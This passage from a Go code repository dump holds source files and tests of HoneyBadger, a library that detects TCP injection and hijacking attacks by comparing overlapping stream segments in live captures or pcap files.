coalesce.PageCache.used != 1 { t.Errorf("coalesce.pager.Used() not equal to 1\n") t.Fail() } coalesce.Close() } ================================================ FILE: pcap_integration_test.go ================================================ package HoneyBadger import ( "fmt" "io" "os" "path/filepath" "strings" "testing" "time" "github.com/david415/HoneyBadger/types" ) type DummyPacketLogger struct { } func NewDummyPacketLogger(str string, flow *types.TcpIpFlow, pcapNum int, pcapSize int) types.PacketLogger { m := DummyPacketLogger{} return types.PacketLogger(&m) } type DummyPacketLoggerFactory struct { } func (f DummyPacketLoggerFactory) Build(flow *types.TcpIpFlow) types.PacketLogger { return NewDummyPacketLogger("", flow, 10, 100) } func (m *DummyPacketLogger) WritePacket(rawPacket []byte, timestamp time.Time) { } func (m DummyPacketLogger) SetFileWriter(writer io.WriteCloser) { } func (m DummyPacketLogger) Start() { } func (m DummyPacketLogger) Stop() { } func (m DummyPacketLogger) Archive() { } func (m DummyPacketLogger) Remove() { } type TestLogger struct { eventList []types.Event count int } func NewTestLogger() TestLogger { return TestLogger{} } func (t *TestLogger) Log(event *types.Event) { t.count += 1 } func (t *TestLogger) Archive() { } func SetupAttackDetectionPcapInquisitor(pcapPath string, attackLogger *TestLogger) { tcpIdleTimeout, _ := time.ParseDuration("10m") dispatcherOptions := DispatcherOptions{ BufferedPerConnection: 10, BufferedTotal: 100, LogDir: "", LogPackets: true, TcpIdleTimeout: tcpIdleTimeout, MaxRingPackets: 40, Logger: types.Logger(attackLogger), DetectHijack: true, DetectInjection: true, DetectCoalesceInjection: true, MaxConcurrentConnections: 100, } wireDuration, _ := time.ParseDuration("3s") snifferOptions := types.SnifferDriverOptions{ DAQ: "libpcap", Device: "", Filename: pcapPath, WireDuration: wireDuration, Snaplen: 65536, Filter: "tcp", } factory := &DefaultConnFactory{} dummyPacketLoggerFactory := DummyPacketLoggerFactory{} options := SupervisorOptions{ SnifferDriverOptions: &snifferOptions, DispatcherOptions: dispatcherOptions, SnifferFactory: NewSniffer, ConnectionFactory: factory, PacketLoggerFactory: dummyPacketLoggerFactory, } supervisor := NewSupervisor(options) supervisor.Run() return } func PcapIsDetectInjection(pcapPath string) bool { logger := NewTestLogger() SetupAttackDetectionPcapInquisitor(pcapPath, &logger) if logger.count == 0 { return false } else { return true } } func TestAllPcapFiles(t *testing.T) { root := "pcap_archive/" absPathSymLink, err := filepath.Abs(root) if err != nil { panic(err) } var path string path, err = filepath.EvalSymlinks(absPathSymLink) if err != nil { t.Skip("skipping test because pcap_archive symlink is missing.") } walkpath := func(path string, f os.FileInfo, err error) error { if strings.HasSuffix(path, ".pcap") { fmt.Printf("HoneyBadger integration test with: %s\n", path) if !PcapIsDetectInjection(path) { t.Fatalf("No injection attack detected in pcap file: %s\n", path) } } return nil } err = filepath.Walk(path, walkpath) if err != nil { panic(err) } } ================================================ FILE: retrospective.go ================================================ /* * HoneyBadger core library for detecting TCP injection attacks * * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package HoneyBadger import ( "github.com/david415/HoneyBadger/types" "github.com/david415/HoneyBadger/blocks" "log" "bytes" "encoding/hex" ) func checkForInjectionInRing(ringPtr *types.Ring, start, end types.Sequence, payload []byte) []*types.Event { acc := []*types.Event{} overlapBlockSegments := getOverlapsInRing(ringPtr, start, end) for i := 0; i < len(overlapBlockSegments); i++ { packetOverlapBytes := getOverlapBytesFromSlice(payload, start, overlapBlockSegments[i].Block) if !bytes.Equal(packetOverlapBytes, overlapBlockSegments[i].Bytes) { log.Printf("injection at TCP Sequence start %d end %d\n", start, end) log.Print("race winner stream segment:") log.Print(hex.Dump(overlapBlockSegments[i].Bytes)) log.Print("race loser stream segment:") log.Print(hex.Dump(packetOverlapBytes)) e := &types.Event{ Loser: packetOverlapBytes, Winner: overlapBlockSegments[i].Bytes, Start: overlapBlockSegments[i].Block.A, End: overlapBlockSegments[i].Block.B, } if overlapBlockSegments[i].IsCoalesce { e.Type = "ordered coalesce 2" } if overlapBlockSegments[i].IsCoalesceGap { e.Type = "ordered coalesce 2 gap" } acc = append(acc, e) } } return acc } func getOverlapBytesFromSlice(payload []byte, sequence types.Sequence, overlap blocks.Block) []byte { start := sequence.Difference(overlap.A) end := types.Sequence(start).Add(overlap.A.Difference(overlap.B)) return payload[start:end] } func getOverlapsInRing(ringPtr *types.Ring, start, end types.Sequence) []blocks.BlockSegment { acc := []blocks.BlockSegment{} target := blocks.Block { A: start, B: end, } // iterate for the entire ring for current := ringPtr.Next(); current != ringPtr; current = current.Next() { if current.Reassembly == nil { continue } if len(current.Reassembly.Bytes) == 0 { continue } new_start := types.Sequence(current.Reassembly.Seq) new_end := types.Sequence(current.Reassembly.Seq).Add(len(current.Reassembly.Bytes)) overlap := target.Overlap(new_start, new_end) if overlap == nil { continue } else { // overlaps overlapBytes := getOverlapBytesFromSlice(current.Reassembly.Bytes, current.Reassembly.Seq, *overlap) blockSegment := blocks.BlockSegment { Block: *overlap, Bytes: overlapBytes, IsCoalesce: current.Reassembly.IsCoalesce, IsCoalesceGap: current.Reassembly.IsCoalesceGap, } acc = append(acc, blockSegment) } } return acc } ================================================ FILE: retrospective_test.go ================================================ package HoneyBadger import ( "log" "net" "testing" "github.com/david415/HoneyBadger/blocks" "github.com/david415/HoneyBadger/types" "github.com/google/gopacket" "github.com/google/gopacket/layers" ) type reassemblyInput struct { Seq uint32 Payload []byte } type TestOverlapBytesWant struct { bytes []byte startOffset int endOffset int } type DummyAttackLogger struct { Count int } func NewDummyAttackLogger() *DummyAttackLogger { a := DummyAttackLogger{ Count: 0, } return &a } func (d *DummyAttackLogger) Log(event *types.Event) { d.Count += 1 } func (d *DummyAttackLogger) Archive() { } func TestGetOverlapsInRing(t *testing.T) { overlapBlockTests := []struct { in blocks.Block want []blocks.BlockSegment }{ { //0 blocks.Block{A: 1, B: 22}, []blocks.BlockSegment{ blocks.BlockSegment{blocks.Block{5, 10}, []byte{1, 2, 3, 4, 5}, false, false}, blocks.BlockSegment{blocks.Block{10, 15}, []byte{1, 2, 3, 4, 5}, false, false}, blocks.BlockSegment{blocks.Block{15, 20}, []byte{1, 2, 3, 4, 5}, false, false}, blocks.BlockSegment{blocks.Block{20, 22}, []byte{1, 2, 3}, false, false}, }, }, { //1 blocks.Block{3, 10}, []blocks.BlockSegment{ blocks.BlockSegment{blocks.Block{5, 10}, []byte{1, 2, 3, 4, 5}, false, false}, }, }, { //2 blocks.Block{6, 12}, []blocks.BlockSegment{ blocks.BlockSegment{blocks.Block{6, 10}, []byte{2, 3, 4, 5}, false, false}, blocks.BlockSegment{blocks.Block{10, 12}, []byte{1, 2, 3}, false, false}, }, }, { //3 blocks.Block{A: 1, B: 17}, []blocks.BlockSegment{ blocks.BlockSegment{blocks.Block{5, 10}, []byte{1, 2, 3, 4, 5}, false, false}, blocks.BlockSegment{blocks.Block{10, 15}, []byte{1, 2, 3, 4, 5}, false, false}, blocks.BlockSegment{blocks.Block{15, 17}, []byte{1, 2, 3}, false, false}, }, }, { //4 blocks.Block{A: 0, B: 100}, []blocks.BlockSegment{ blocks.BlockSegment{blocks.Block{A: 5, B: 10}, []byte{1, 2, 3, 4, 5}, false, false}, blocks.BlockSegment{blocks.Block{A: 10, B: 15}, []byte{1, 2, 3, 4, 5}, false, false}, blocks.BlockSegment{blocks.Block{A: 15, B: 20}, []byte{1, 2, 3, 4, 5}, false, false}, blocks.BlockSegment{blocks.Block{A: 20, B: 25}, []byte{1, 2, 3, 4, 5}, false, false}, blocks.BlockSegment{blocks.Block{A: 25, B: 30}, []byte{1, 2, 3, 4, 5}, false, false}, blocks.BlockSegment{blocks.Block{A: 30, B: 35}, []byte{1, 2, 3, 4, 5}, false, false}, blocks.BlockSegment{blocks.Block{A: 35, B: 40}, []byte{1, 2, 3, 4, 5}, false, false}, }, }, } // setup ring with some content and sequence numbers var ringPtr *types.Ring = types.NewRing(40) for j := 5; j < 40; j += 5 { reassembly := types.Reassembly{ Seq: types.Sequence(j), Bytes: []byte{1, 2, 3, 4, 5}, } ringPtr.Reassembly = &reassembly ringPtr = ringPtr.Next() } reassembly := types.Reassembly{ Seq: types.Sequence(46), Bytes: []byte{}, } ringPtr.Reassembly = &reassembly ringPtr = ringPtr.Next() // run tests for i := 0; i < len(overlapBlockTests); i++ { log.Printf("test # %d\n", i) overlaps := getOverlapsInRing(ringPtr, overlapBlockTests[i].in.A, overlapBlockTests[i].in.B) if len(overlaps) != len(overlapBlockTests[i].want) { t.Errorf("wanted %d overlaps, got %d\n", len(overlapBlockTests[i].want), len(overlaps)) t.Fail() } for j := 0; j < len(overlaps) && j < len(overlapBlockTests[i].want); j++ { log.Printf("got overlap: %s\n", overlaps[j].Block) log.Printf("len of overlap bytes: %d\n", len(overlaps[j].Bytes)) //log.Print(hex.Dump(overlaps[j].Bytes)) if overlaps[j].Block != overlapBlockTests[i].want[j].Block { t.Errorf("overlaps unequal: %s != %s\n", overlaps[j].Block, overlapBlockTests[i].want[j]) t.Fail() } } } } func TestInjectionDetector(t *testing.T) { attackLogger := NewDummyAttackLogger() options := ConnectionOptions{ MaxBufferedPagesTotal: 0, MaxBufferedPagesPerConnection: 0, MaxRingPackets: 40, PageCache: nil, LogDir: "fake-log-dir", AttackLogger: attackLogger, } f := &DefaultConnFactory{} conn := f.Build(options).(*Connection) reassembly := types.Reassembly{ Seq: types.Sequence(5), Bytes: []byte{1, 2, 3, 4, 5}, } conn.ClientStreamRing.Reassembly = &reassembly conn.ClientStreamRing = conn.ClientStreamRing.Next() conn.ServerStreamRing.Reassembly = &reassembly conn.ServerStreamRing = conn.ServerStreamRing.Next() ipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) clientFlow := types.NewTcpIpFlowFromFlows(ipFlow, tcpFlow) serverFlow := clientFlow.Reverse() conn.serverFlow = &serverFlow conn.clientFlow = &clientFlow p := types.PacketManifest{ Flow: &clientFlow, IPv4: &layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, }, TCP: &layers.TCP{ Seq: 7, SrcPort: 1, DstPort: 2, }, Payload: []byte{1, 2, 3, 4, 5, 6, 7}, } conn.detectInjection(&p) if attackLogger.Count != 1 { t.Errorf("detectInjection failed; count == %d\n", attackLogger.Count) t.Fail() } // next test case p.TCP = &layers.TCP{ Seq: 7, SrcPort: 1, DstPort: 2, } p.Payload = []byte{3, 4, 5} conn.detectInjection(&p) if attackLogger.Count == 0 { t.Error("failed to detect injection\n") t.Fail() } // next test case attackLogger.Count = 0 p.TCP = &layers.TCP{ Seq: 1, SrcPort: 1, DstPort: 2, } p.Payload = []byte{1, 2, 3, 4, 5, 6} conn.detectInjection(&p) if attackLogger.Count == 0 { t.Error("failed to detect injection\n") t.Fail() } // next test case attackLogger.Count = 0 p.TCP = &layers.TCP{ Seq: 1, SrcPort: 1, DstPort: 2, } p.Payload = []byte{1, 2, 3, 4, 5, 6, 7, 8, 9, 11, 12, 13, 14, 15, 16, 17} conn.detectInjection(&p) if attackLogger.Count != 1 { t.Error("injection detection failure\n") t.Fail() } } ================================================ FILE: sniffer.go ================================================ /* * HoneyBadger core library for detecting TCP injection attacks * * Copyright (C) 2014 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package HoneyBadger import ( "fmt" "github.com/google/gopacket" "github.com/google/gopacket/layers" "io" "log" "github.com/david415/HoneyBadger/drivers" "github.com/david415/HoneyBadger/types" ) // Sniffer sets up the connection pool and is an abstraction layer for dealing // with incoming packets weather they be from a pcap file or directly off the wire. type Sniffer struct { options *types.SnifferDriverOptions supervisor types.Supervisor dispatcher PacketDispatcher packetDataSource types.PacketDataSourceCloser isStopped bool decodePacketChan chan TimedRawPacket stopDecodeChan chan bool } // NewSniffer creates a new Sniffer struct func NewSniffer(options *types.SnifferDriverOptions, dispatcher PacketDispatcher) types.PacketSource { i := Sniffer{ dispatcher: dispatcher, options: options, decodePacketChan: make(chan TimedRawPacket), stopDecodeChan: make(chan bool), } return &i } func (i *Sniffer) SetSupervisor(supervisor types.Supervisor) { i.supervisor = supervisor } func (i *Sniffer) GetStartedChan() chan bool { return make(chan bool) } // Start... starts the TCP attack inquisition! func (i *Sniffer) Start() { // XXX i.setupHandle() go i.capturePackets() go i.decodePackets() } func (i *Sniffer) Stop() { log.Print("sniffer: sending stopCapureChan signal") i.isStopped = true i.stopDecodeChan <- true } func (i *Sniffer) Close() { if i.packetDataSource != nil { log.Print("closing packet capture socket") i.packetDataSource.Close() } log.Print("stopping the sniffer decode loop") i.isStopped = true log.Print("done.") } func (i *Sniffer) setupHandle() { var err error var what string factory, ok := drivers.Drivers[i.options.DAQ] if !ok { log.Fatal(fmt.Sprintf("%s Sniffer not supported on this system", i.options.DAQ)) } i.packetDataSource, err = factory(i.options) if err != nil { if i.options.Filename != "" { log.Printf("failed to read file %s", i.options.Filename) } panic(fmt.Sprintf("Failed to acquire DataAcQuisition source: %s", err)) } if i.options.Filename != "" { what = fmt.Sprintf("file %s", i.options.Filename) } else { what = fmt.Sprintf("interface %s", i.options.Device) } log.Printf("Starting %s packet capture on %s", i.options.DAQ, what) } func (i *Sniffer) capturePackets() { for { rawPacket, captureInfo, err := i.packetDataSource.ReadPacketData() if err == io.EOF { log.Print("ReadPacketData got EOF\n") i.Close() i.Stop() i.dispatcher.Stop() i.supervisor.Stopped() return } if err != nil { //log.Printf("packet capure read error: %s", err) continue } timedPacket := TimedRawPacket{ Timestamp: captureInfo.Timestamp, } timedPacket.RawPacket = make([]byte, len(rawPacket)) copy(timedPacket.RawPacket, rawPacket) i.decodePacketChan <- timedPacket if i.isStopped { break } } } func (i *Sniffer) decodePackets() { var eth layers.Ethernet var ip4 layers.IPv4 var ip6 layers.IPv6 var tcp layers.TCP var payload gopacket.Payload parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &ip4, &ip6, &tcp, &payload) decoded := make([]gopacket.LayerType, 0, 4) for { select { case <-i.stopDecodeChan: return case timedRawPacket := <-i.decodePacketChan: newPayload := new(gopacket.Payload) payload = *newPayload err := parser.DecodeLayers(timedRawPacket.RawPacket, &decoded) if err != nil { continue } packetManifest := types.PacketManifest{ Timestamp: timedRawPacket.Timestamp, Payload: payload, IPv6: &layers.IPv6{}, IPv4: &layers.IPv4{}, TCP: &layers.TCP{}, } foundNetLayer := false for _, typ := range decoded { switch typ { case layers.LayerTypeIPv4: *packetManifest.IPv4 = ip4 foundNetLayer = true case layers.LayerTypeIPv6: *packetManifest.IPv6 = ip6 foundNetLayer = true case layers.LayerTypeTCP: if foundNetLayer { flow := types.TcpIpFlow{} if packetManifest.IPv4.Version == 4 { // IPv4 case flow = types.NewTcpIpFlowFromFlows(ip4.NetworkFlow(), tcp.TransportFlow()) } else if packetManifest.IPv6.Version == 6 { // IPv6 case flow = types.NewTcpIpFlowFromFlows(ip6.NetworkFlow(), tcp.TransportFlow()) } else { panic("wtf") } packetManifest.Flow = &flow *packetManifest.TCP = tcp i.dispatcher.ReceivePacket(&packetManifest) } else { log.Println("could not find IPv4 or IPv6 layer, inoring") } } // switch } // for } // select } // for } ================================================ FILE: supervisor.go ================================================ /* * HoneyBadger core library for detecting TCP injection attacks * * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package HoneyBadger import ( "log" "os" "os/signal" "github.com/david415/HoneyBadger/types" ) type SupervisorOptions struct { SnifferDriverOptions *types.SnifferDriverOptions DispatcherOptions DispatcherOptions SnifferFactory func(*types.SnifferDriverOptions, PacketDispatcher) types.PacketSource ConnectionFactory ConnectionFactory PacketLoggerFactory types.PacketLoggerFactory } type Supervisor struct { dispatcher *Dispatcher sniffer types.PacketSource childStoppedChan chan bool forceQuitChan chan os.Signal } func NewSupervisor(options SupervisorOptions) *Supervisor { dispatcher := NewDispatcher(options.DispatcherOptions, options.ConnectionFactory, options.PacketLoggerFactory) sniffer := options.SnifferFactory(options.SnifferDriverOptions, dispatcher) supervisor := Supervisor{ forceQuitChan: make(chan os.Signal, 1), childStoppedChan: make(chan bool, 0), dispatcher: dispatcher, sniffer: sniffer, } sniffer.SetSupervisor(supervisor) return &supervisor } func (b Supervisor) GetDispatcher() PacketDispatcher { return b.dispatcher } func (b Supervisor) GetSniffer() types.PacketSource { // XXX return types.PacketSource(b.sniffer) return b.sniffer } func (b Supervisor) Stopped() { log.Print("Supervisor.Stopped()") b.childStoppedChan <- true } func (b Supervisor) Run() { b.dispatcher.Start() b.sniffer.Start() signal.Notify(b.forceQuitChan, os.Interrupt) select { case <-b.forceQuitChan: log.Print("graceful shutdown: user force quit\n") log.Print("stopping sniffer") b.sniffer.Stop() log.Print("stopping dispatcher") b.dispatcher.Stop() log.Print("supervisor waiting for child to stop\n") case <-b.childStoppedChan: log.Print("graceful shutdown: packet-source stopped") } } ================================================ FILE: types/events.go ================================================ /* * HoneyBadger core library for detecting TCP injection attacks * * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package types import ( "io" "time" ) type Logger interface { Log(r *Event) } type PacketLogger interface { WritePacket(rawPacket []byte, timestamp time.Time) Start() Stop() Remove() Archive() SetFileWriter(io.WriteCloser) } type PacketLoggerFactory interface { Build(*TcpIpFlow) PacketLogger } type Event struct { Type string PacketCount uint64 Flow TcpIpFlow Time time.Time HijackSeq uint32 HijackAck uint32 Payload []byte Winner []byte Loser []byte Base Sequence Start Sequence End Sequence } ================================================ FILE: types/flow.go ================================================ /* * HoneyBadger core library for detecting TCP injection attacks * * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package types import ( "bytes" "encoding/binary" "fmt" "github.com/google/gopacket" "github.com/google/gopacket/layers" ) // TcpIpFlow is used for tracking unidirectional TCP flows type TcpIpFlow struct { ipFlow gopacket.Flow tcpFlow gopacket.Flow } // NewTcpIp4FlowFromLayers given IPv4 and TCP layers it returns a TcpIpFlow func NewTcpIp4FlowFromLayers(ipLayer layers.IPv4, tcpLayer layers.TCP) *TcpIpFlow { return &TcpIpFlow{ ipFlow: ipLayer.NetworkFlow(), tcpFlow: tcpLayer.TransportFlow(), } } // NewTcpIp6FlowFromLayers given IPv6 and TCP layers it returns a TcpIpFlow func NewTcpIp6FlowFromLayers(ipLayer layers.IPv6, tcpLayer layers.TCP) *TcpIpFlow { return &TcpIpFlow{ ipFlow: ipLayer.NetworkFlow(), tcpFlow: tcpLayer.TransportFlow(), } } // NewTcpIpFlowFromFlows given a net flow (either ipv4 or ipv6) and TCP flow returns a TcpIpFlow func NewTcpIpFlowFromFlows(netFlow gopacket.Flow, tcpFlow gopacket.Flow) TcpIpFlow { // XXX todo: check that the flow types are correct return TcpIpFlow{ ipFlow: netFlow, tcpFlow: tcpFlow, } } // String returns the string representation of a TcpIpFlow func (t TcpIpFlow) String() string { return fmt.Sprintf("%s:%s-%s:%s", t.ipFlow.Src().String(), t.tcpFlow.Src().String(), t.ipFlow.Dst().String(), t.tcpFlow.Dst().String()) } // Reverse returns a reversed TcpIpFlow, that is to say the resulting // TcpIpFlow flow will be made up of a reversed IP flow and a reversed // TCP flow. func (t *TcpIpFlow) Reverse() TcpIpFlow { return NewTcpIpFlowFromFlows(t.ipFlow.Reverse(), t.tcpFlow.Reverse()) } // Equal returns true if TcpIpFlow structs t and s are equal. False otherwise. func (t *TcpIpFlow) Equal(s *TcpIpFlow) bool { ipEndSrc1, _ := t.ipFlow.Endpoints() ipEndSrc2, _ := s.ipFlow.Endpoints() if ipEndSrc1.EndpointType() != ipEndSrc2.EndpointType() { panic(fmt.Sprintf("TcpIpFlow.Equal fail: mismatched flow types %s != %s", ipEndSrc1.EndpointType(), ipEndSrc2.EndpointType())) } return t.ipFlow == s.ipFlow && t.tcpFlow == s.tcpFlow } // getPacketFlow returns a TcpIpFlow struct given a byte array packet func NewTcpIpFlowFromPacket(packet []byte) (*TcpIpFlow, error) { var ip layers.IPv4 var tcp layers.TCP decoded := []gopacket.LayerType{} parser := gopacket.NewDecodingLayerParser(layers.LayerTypeIPv4, &ip, &tcp) err := parser.DecodeLayers(packet, &decoded) if err != nil { return &TcpIpFlow{}, err } return &TcpIpFlow{ ipFlow: ip.NetworkFlow(), tcpFlow: tcp.TransportFlow(), }, nil } // Flows returns the component flow structs IPv4, TCP func (t *TcpIpFlow) Flows() (gopacket.Flow, gopacket.Flow) { return t.ipFlow, t.tcpFlow } type HashedTcpIpv6Flow struct { // ipv6 16 bytes + tcp port 2 bytes == 18 Src [18]byte Dst [18]byte } // NewHashedTcpIpv6Flow returns a comparable struct given a flow struct func NewHashedTcpIpv6Flow(flow *TcpIpFlow) HashedTcpIpv6Flow { hash := HashedTcpIpv6Flow{} ipFlow, tcpFlow := flow.Flows() src := make([]byte, 18) copy(src, ipFlow.Src().Raw()) copy(src[len(ipFlow.Src().Raw()):], tcpFlow.Src().Raw()) copy(hash.Src[:], src) dst := make([]byte, 18) copy(dst, ipFlow.Dst().Raw()) copy(dst[len(ipFlow.Dst().Raw()):], tcpFlow.Dst().Raw()) copy(hash.Dst[:], dst) if bytes.Compare(hash.Src[:], hash.Dst[:]) > 0 { return hash } else { // reverse a := hash.Src hash.Src = hash.Dst hash.Dst = a return hash } } type HashedTcpIpv4Flow struct { Src uint64 Dst uint64 } // NewHashedTcpIpv4Flow returns a comparable struct given a flow struct func NewHashedTcpIpv4Flow(flow *TcpIpFlow) HashedTcpIpv4Flow { hash := HashedTcpIpv4Flow{} ipFlow, tcpFlow := flow.Flows() src := make([]byte, 8) copy(src, ipFlow.Src().Raw()) copy(src[len(ipFlow.Src().Raw()):], tcpFlow.Src().Raw()) hash.Src = binary.BigEndian.Uint64(src) dst := make([]byte, 8) copy(dst, ipFlow.Dst().Raw()) copy(dst[len(ipFlow.Dst().Raw()):], tcpFlow.Dst().Raw()) hash.Dst = binary.BigEndian.Uint64(dst) if hash.Src > hash.Dst { return hash } else { // reverse a := hash.Src hash.Src = hash.Dst hash.Dst = a return hash } } ================================================ FILE: types/flow_test.go ================================================ package types import ( "github.com/google/gopacket" "github.com/google/gopacket/layers" "net" "strings" "testing" ) func TestFlows(t *testing.T) { ipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) tcpIpFlow := NewTcpIpFlowFromFlows(ipFlow, tcpFlow) ipFlow2, tcpFlow2 := tcpIpFlow.Flows() if ipFlow2 != ipFlow || tcpFlow2 != tcpFlow { t.Error("Flows method fail") t.Fail() } } func TestFlowString(t *testing.T) { ipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) tcpIpFlow := NewTcpIpFlowFromFlows(ipFlow, tcpFlow) if !strings.EqualFold("1.2.3.4:1-2.3.4.5:2", tcpIpFlow.String()) { t.Error("TcpIpFlow.String() fail") t.Fail() } } func TestFlowEqual(t *testing.T) { ipFlow1, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow1, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) flow1 := NewTcpIpFlowFromFlows(ipFlow1, tcpFlow1) ipFlow2, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow2, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) flow2 := NewTcpIpFlowFromFlows(ipFlow2, tcpFlow2) if !flow1.Equal(&flow2) { t.Error("TcpIpFlow.Equal fail") t.Fail() } ipFlow3, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(8, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow3, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) flow3 := NewTcpIpFlowFromFlows(ipFlow3, tcpFlow3) if flow1.Equal(&flow3) { t.Error("TcpIpFlow.Equal fail") t.Fail() } } func TestNewTcpIpFlowFromPacket(t *testing.T) { buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SYN: true, SrcPort: 1, DstPort: 2, Seq: 123, BaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3}}, } tcp.SetNetworkLayerForChecksum(&ip) gopacket.SerializeLayers(buf, opts, &ip, &tcp) packetData := buf.Bytes() flow1, err := NewTcpIpFlowFromPacket(packetData) ipFlow2, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow2, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) flow2 := NewTcpIpFlowFromFlows(ipFlow2, tcpFlow2) if err != nil && !flow2.Equal(flow1) { t.Error("NewTcpIpFlowFromPacket fail") t.Fail() } flow1, err = NewTcpIpFlowFromPacket([]byte{1, 2, 3, 4, 5, 6, 7}) if err == nil || !flow1.Equal(&TcpIpFlow{}) { t.Error("NewTcpIpFlowFromPacket fail") t.Fail() } } func FlowFromPacket() *TcpIpFlow { buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SYN: true, SrcPort: 1, DstPort: 2, Seq: 123, BaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3}}, } tcp.SetNetworkLayerForChecksum(&ip) gopacket.SerializeLayers(buf, opts, &ip, &tcp) packetData := buf.Bytes() flow, _ := NewTcpIpFlowFromPacket(packetData) return flow } func TestHashedTcpIpv4Flow(t *testing.T) { tcpIpFlow := FlowFromPacket() hash1 := NewHashedTcpIpv4Flow(tcpIpFlow) f := tcpIpFlow.Reverse() hash2 := NewHashedTcpIpv4Flow(&f) if hash1 != hash2 { t.Error("hash values must be equal after sorting!") t.Fail() } } func TestHashedTcpIpv6Flow(t *testing.T) { tcpIpFlow := FlowFromPacket() hash1 := NewHashedTcpIpv6Flow(tcpIpFlow) f := tcpIpFlow.Reverse() hash2 := NewHashedTcpIpv6Flow(&f) if hash1 != hash2 { t.Error("hash values must be equal after sorting!") t.Fail() } } ================================================ FILE: types/packet_source.go ================================================ /* * HoneyBadger core library for detecting TCP injection attacks * * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY 